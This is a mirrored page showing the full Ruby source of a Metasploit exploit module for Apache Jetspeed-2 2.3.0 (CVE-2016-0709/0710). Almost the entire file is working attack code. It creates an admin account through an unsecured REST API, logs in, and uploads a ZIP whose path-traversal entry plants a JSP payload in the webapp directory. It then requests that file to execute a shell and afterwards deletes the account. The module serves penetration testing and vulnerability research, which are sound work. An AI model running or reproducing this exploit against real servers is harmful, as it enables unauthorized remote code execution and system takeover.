Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_jetspeed_file_upload.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Apache Jetspeed Arbitrary File Upload',
17
'Description' => %q{
18
This module exploits the unsecured User Manager REST API and a ZIP file
19
path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
20
versions, to upload and execute a shell.
21
22
Note: this exploit will create, use, and then delete a new admin user.
23
24
Warning: in testing, exploiting the file upload clobbered the web
25
interface beyond repair. No workaround has been found yet. Use this
26
module at your own risk. No check will be implemented.
27
},
28
'Author' => [
29
'Andreas Lindh', # Vulnerability discovery
30
'wvu' # Metasploit module
31
],
32
'References' => [
33
['CVE', '2016-0710'],
34
['CVE', '2016-0709'],
35
['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
36
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
37
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
38
],
39
'DisclosureDate' => '2016-03-06',
40
'License' => MSF_LICENSE,
41
'Platform' => ['linux', 'win'],
42
'Arch' => ARCH_JAVA,
43
'Privileged' => false,
44
'Targets' => [
45
['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'],
46
['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
47
],
48
'DefaultTarget' => 0,
49
'Notes' => {
50
'Reliability' => UNKNOWN_RELIABILITY,
51
'Stability' => UNKNOWN_STABILITY,
52
'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
}
54
)
55
)
56
57
register_options([
58
Opt::RPORT(8080)
59
])
60
end
61
62
def print_status(msg = '')
63
super("#{peer} - #{msg}")
64
end
65
66
def print_warning(msg = '')
67
super("#{peer} - #{msg}")
68
end
69
70
def exploit
71
print_status("Creating admin user: #{username}:#{password}")
72
create_admin_user
73
print_status('Logging in as newly created admin')
74
jetspeed_login
75
print_status("Uploading payload ZIP: #{zip_filename}")
76
upload_payload_zip
77
print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
78
exec_jsp_shell
79
end
80
81
def cleanup
82
print_status("Deleting user: #{username}")
83
delete_user
84
super
85
end
86
87
#
88
# Exploit methods
89
#
90
91
def create_admin_user
92
send_request_cgi(
93
'method' => 'POST',
94
'uri' => '/jetspeed/services/usermanager/users',
95
'vars_post' => {
96
'name' => username,
97
'password' => password,
98
'password_confirm' => password
99
}
100
)
101
send_request_cgi(
102
'method' => 'POST',
103
'uri' => "/jetspeed/services/usermanager/users/#{username}",
104
'vars_post' => {
105
'user_enabled' => 'true',
106
'roles' => 'admin'
107
}
108
)
109
end
110
111
def jetspeed_login
112
res = send_request_cgi(
113
'method' => 'GET',
114
'uri' => '/jetspeed/login/redirector'
115
)
116
117
res = send_request_cgi!(
118
'method' => 'POST',
119
'uri' => '/jetspeed/login/j_security_check',
120
'cookie' => res.get_cookies,
121
'vars_post' => {
122
'j_username' => username,
123
'j_password' => password
124
}
125
)
126
127
@cookie = res.get_cookies
128
end
129
130
# Let's pretend we're mechanize
131
def import_file
132
res = send_request_cgi(
133
'method' => 'GET',
134
'uri' => '/jetspeed/portal/Administrative/site.psml',
135
'cookie' => @cookie
136
)
137
138
html = res.get_html_document
139
import_export = html.at('//a[*//text() = "Import/Export"]/@href')
140
141
res = send_request_cgi!(
142
'method' => 'POST',
143
'uri' => import_export,
144
'cookie' => @cookie
145
)
146
147
html = res.get_html_document
148
html.at('//form[*//text() = "Import File"]/@action')
149
end
150
151
def upload_payload_zip
152
zip = Rex::Zip::Archive.new
153
zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
154
155
mime = Rex::MIME::Message.new
156
mime.add_part(zip.pack, 'application/zip', 'binary',
157
%Q{form-data; name="fileInput"; filename="#{zip_filename}"})
158
mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
159
mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
160
161
case target['Platform']
162
when 'linux'
163
register_file_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
164
register_dir_for_cleanup("../temp/#{username}")
165
when 'win'
166
register_file_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
167
register_dir_for_cleanup("..\\temp\\#{username}")
168
end
169
170
send_request_cgi(
171
'method' => 'POST',
172
'uri' => import_file,
173
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
174
'cookie' => @cookie,
175
'data' => mime.to_s
176
)
177
end
178
179
def exec_jsp_shell
180
send_request_cgi(
181
'method' => 'GET',
182
'uri' => "/jetspeed/#{jsp_filename}",
183
'cookie' => @cookie
184
)
185
end
186
187
#
188
# Cleanup methods
189
#
190
191
def delete_user
192
send_request_cgi(
193
'method' => 'DELETE',
194
'uri' => "/jetspeed/services/usermanager/users/#{username}"
195
)
196
end
197
198
#
199
# Utility methods
200
#
201
202
def username
203
@username ||= Rex::Text.rand_text_alpha_lower(8)
204
end
205
206
def password
207
@password ||= Rex::Text.rand_text_alphanumeric(8)
208
end
209
210
def jsp_filename
211
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
212
end
213
214
def zip_filename
215
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
216
end
217
end
218
219